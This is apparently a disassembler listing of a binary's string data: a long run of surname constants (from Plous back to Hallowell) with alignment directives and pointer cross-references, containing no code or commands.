aPlous		db 'Plous',0            ; DATA XREF: ___:0042E6A8o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E6A4o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E6A0o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E69Co
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E698o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E694o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E690o
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E68Co
		align 10h
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E688o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E684o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E680o
		align 10h
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E67Co
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E678o
		align 4
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E674o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E670o
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E66Co
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E668o
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E664o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E660o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E65Co
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E658o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E654o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E650o
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E64Co
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E648o
		align 10h
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E644o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E640o
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E63Co
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E638o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E634o
		align 10h
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E630o
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E62Co
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E628o
		align 10h
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E624o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E620o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E61Co
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E618o
		align 10h
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E614o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E610o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E60Co
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E608o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E604o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E600o
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E5FCo
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E5F8o
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E5F4o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E5F0o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E5ECo
		align 10h
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E5E8o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E5E4o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E5E0o
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E5DCo
aOray		db 'Oray',0             ; DATA XREF: ___:0042E5D8o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E5D4o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E5D0o
aOman		db 'Oman',0             ; DATA XREF: ___:0042E5CCo
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E5C8o
		align 10h
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E5C4o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E5C0o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E5BCo
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E5B8o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E5B4o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E5B0o
		align 10h
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E5ACo
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E5A8o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E5A4o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E5A0o
		align 10h
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E59Co
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E598o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E594o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E590o
		align 10h
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E58Co
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0042E588o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E584o
		align 10h
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E580o
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E57Co
		align 10h
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E578o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E574o
		align 10h
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E570o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E56Co
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E568o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E564o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E560o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E55Co
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E558o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E554o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E550o
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E54Co
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E548o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E544o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E540o
		align 10h
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E53Co
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E538o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E534o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E530o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E52Co
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E528o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E524o
		align 10h
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E520o
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E51Co
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E518o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E514o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E510o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E50Co
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E508o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E504o
		align 10h
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E500o
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E4FCo
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E4F8o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E4F4o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E4F0o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E4ECo
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E4E8o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E4E4o
		align 10h
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E4E0o
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E4DCo
		align 10h
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E4D8o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E4D4o
		align 10h
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E4D0o
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E4CCo
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E4C8o
		align 10h
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E4C4o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E4C0o
		align 10h
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E4BCo
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E4B8o
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E4B4o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E4B0o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E4ACo
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E4A8o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E4A4o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E4A0o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E49Co
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E498o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E494o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E490o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E48Co
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E488o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E484o
		align 10h
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E480o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E47Co
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E478o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E474o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E470o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E46Co
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E468o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E464o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E460o
		align 4
aMazzali	db 'Mazzali',0
aMay		db 'May',0
aMauzy		db 'Mauzy',0
		align 10h
aMattson	db 'Mattson',0
aMatsukata	db 'Matsukata',0
		align 4
aMatarazzo	db 'Matarazzo',0
		align 10h
aMatalka	db 'Matalka',0
aMass		db 'Mass',0
		align 10h
aMarubini	db 'Marubini',0
		align 4
aMarton		db 'Marton',0
		align 4
aMartochio	db 'Martochio',0
		align 10h
aMartinez	db 'Martinez',0
		align 4
aMarques	db 'Marques',0
aMargetts	db 'Margetts',0
		align 10h
aMargalit	db 'Margalit',0
		align 4
aMarcus		db 'Marcus',0
		align 4
aMarchbanks	db 'Marchbanks',0
		align 10h
aMarch		db 'March',0
		align 4
aMantovan	db 'Mantovan',0
		align 4
aManganiello	db 'Manganiello',0
aMandel		db 'Mandel',0
		align 4
aManalis	db 'Manalis',0
aMalova		db 'Malova',0
		align 4
aMaller		db 'Maller',0
		align 10h
aMalatesta	db 'Malatesta',0
		align 4
aMaisano	db 'Maisano',0
aMaineHershey	db 'Maine-Hershey',0
		align 4
aMaier		db 'Maier',0
		align 4
aMahony		db 'Mahony',0
		align 4
aMaggio		db 'Maggio',0
		align 4
aMadigan	db 'Madigan',0
aMacy		db 'Macy',0
		align 4
aMacmillan	db 'MacMillan',0
		align 4
aMackenney	db 'Mackenney',0
		align 4
aMacintyre	db 'Macintyre',0
		align 10h
aMaceachern	db 'Maceachern',0
		align 4
aMacdonald	db 'Macdonald',0
		align 4
aMaccormac	db 'Maccormac',0
		align 4
aMa		db 'Ma',0               ; DATA XREF: ___:0042E3C4o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E3C0o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E3BCo
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E3B8o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E3B4o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E3B0o
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E3ACo
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E3A8o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E3A4o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E3A0o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E39Co
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E398o
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E394o
		align 10h
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E390o
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E38Co
		align 10h
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E388o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E384o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E380o
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E37Co
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E378o
		align 10h
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E374o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042E370o
		align 4
aLittle		db 'Little',0           ; DATA XREF: ___:0042E36Co
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042E368o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042E364o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042E360o
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042E35Co
aLine		db 'Line',0             ; DATA XREF: ___:0042E358o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:0042E354o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: ___:0042E350o
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:0042E34Co
aLim		db 'Lim',0              ; DATA XREF: ___:0042E348o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042E344o
		align 4
aLight		db 'Light',0            ; DATA XREF: ___:0042E340o
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:0042E33Co
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042E338o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042E334o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042E330o
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042E32Co
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042E328o
		align 10h
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042E324o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042E320o
		align 10h
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042E31Co
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042E318o
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042E314o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042E310o
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042E30Co
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042E308o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042E304o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042E300o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042E2FCo
		align 10h
aLandes		db 'Landes',0           ; DATA XREF: ___:0042E2F8o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042E2F4o
					; ___:0043294Co
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0042E2F0o
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042E2ECo
					; ___:off_4327E8o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042E2E8o
aLa		db 'La',0               ; DATA XREF: ___:0042E2E4o
		align 10h
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042E2E0o
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042E2DCo
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042E2D8o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042E2D4o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042E2D0o
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042E2CCo
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042E2C8o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042E2C4o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042E2C0o
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042E2BCo
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042E2B8o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042E2B4o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042E2B0o
		align 10h
aKool		db 'Kool',0             ; DATA XREF: ___:0042E2ACo
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042E2A8o
		align 10h
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042E2A4o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042E2A0o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042E29Co
		align 10h
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042E298o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042E294o
		align 10h
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042E290o
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042E28Co
		align 10h
aKlint		db 'Klint',0            ; DATA XREF: ___:0042E288o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042E284o
aKling		db 'Kling',0            ; DATA XREF: ___:0042E280o
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042E27Co
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042E278o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042E274o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042E270o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042E26Co
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042E268o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042E264o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042E260o
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042E25Co
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042E258o
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042E254o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042E250o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: ___:0042E24Co
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0042E248o
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042E244o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042E240o
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042E23Co
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042E238o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042E234o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042E230o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: ___:0042E22Co
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042E228o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042E224o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0042E220o
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042E21Co
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042E218o
		align 10h
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042E214o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042E210o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042E20Co
		align 10h
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042E208o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042E204o
		align 10h
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042E200o
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042E1FCo
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042E1F8o
		align 10h
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042E1F4o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042E1F0o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042E1ECo
		align 10h
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042E1E8o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042E1E4o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042E1E0o
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042E1DCo
		align 10h
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042E1D8o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042E1D4o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0042E1D0o
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042E1CCo
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042E1C8o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042E1C4o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042E1C0o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042E1BCo
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042E1B8o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042E1B4o
aJay		db 'Jay',0              ; DATA XREF: ___:0042E1B0o
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042E1ACo
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042E1A8o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042E1A4o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042E1A0o
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042E19Co
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042E198o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042E194o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042E190o
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042E18Co
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042E188o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042E184o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042E180o
		align 10h
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042E17Co
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042E178o
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042E174o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042E170o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042E16Co
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042E168o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042E164o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042E160o
		align 10h
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042E15Co
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042E158o
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042E154o
		align 10h
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042E150o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042E14Co
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042E148o
		align 10h
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042E144o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042E140o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042E13Co
aHoward		db 'Howard',0           ; DATA XREF: ___:0042E138o
		align 10h
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042E134o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042E130o
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042E12Co
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042E128o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042E124o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042E120o
		align 10h
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042E11Co
aHolway		db 'Holway',0           ; DATA XREF: ___:0042E118o
		align 10h
aHolter		db 'Holter',0           ; DATA XREF: ___:0042E114o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042E110o
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042E10Co
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042E108o
		align 10h
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042E104o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042E100o
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042E0FCo
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042E0F8o
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042E0F4o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042E0F0o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042E0ECo
		align 10h
aHind		db 'Hind',0             ; DATA XREF: ___:0042E0E8o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042E0E4o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042E0E0o
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042E0DCo
aHester		db 'Hester',0           ; DATA XREF: ___:0042E0D8o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042E0D4o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042E0D0o
		align 10h
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042E0CCo
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042E0C8o
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042E0C4o
		align 10h
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042E0C0o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042E0BCo
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042E0B8o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042E0B4o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042E0B0o
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042E0ACo
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042E0A8o
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042E0A4o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042E0A0o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042E09Co
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042E098o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042E094o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042E090o
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042E08Co
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042E088o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042E084o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042E080o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042E07Co
		align 10h
aHarding	db 'Harding',0          ; DATA XREF: ___:0042E078o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042E074o
aHand		db 'Hand',0             ; DATA XREF: ___:0042E070o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042E06Co
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042E068o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042E064o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042E060o
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042E05Co
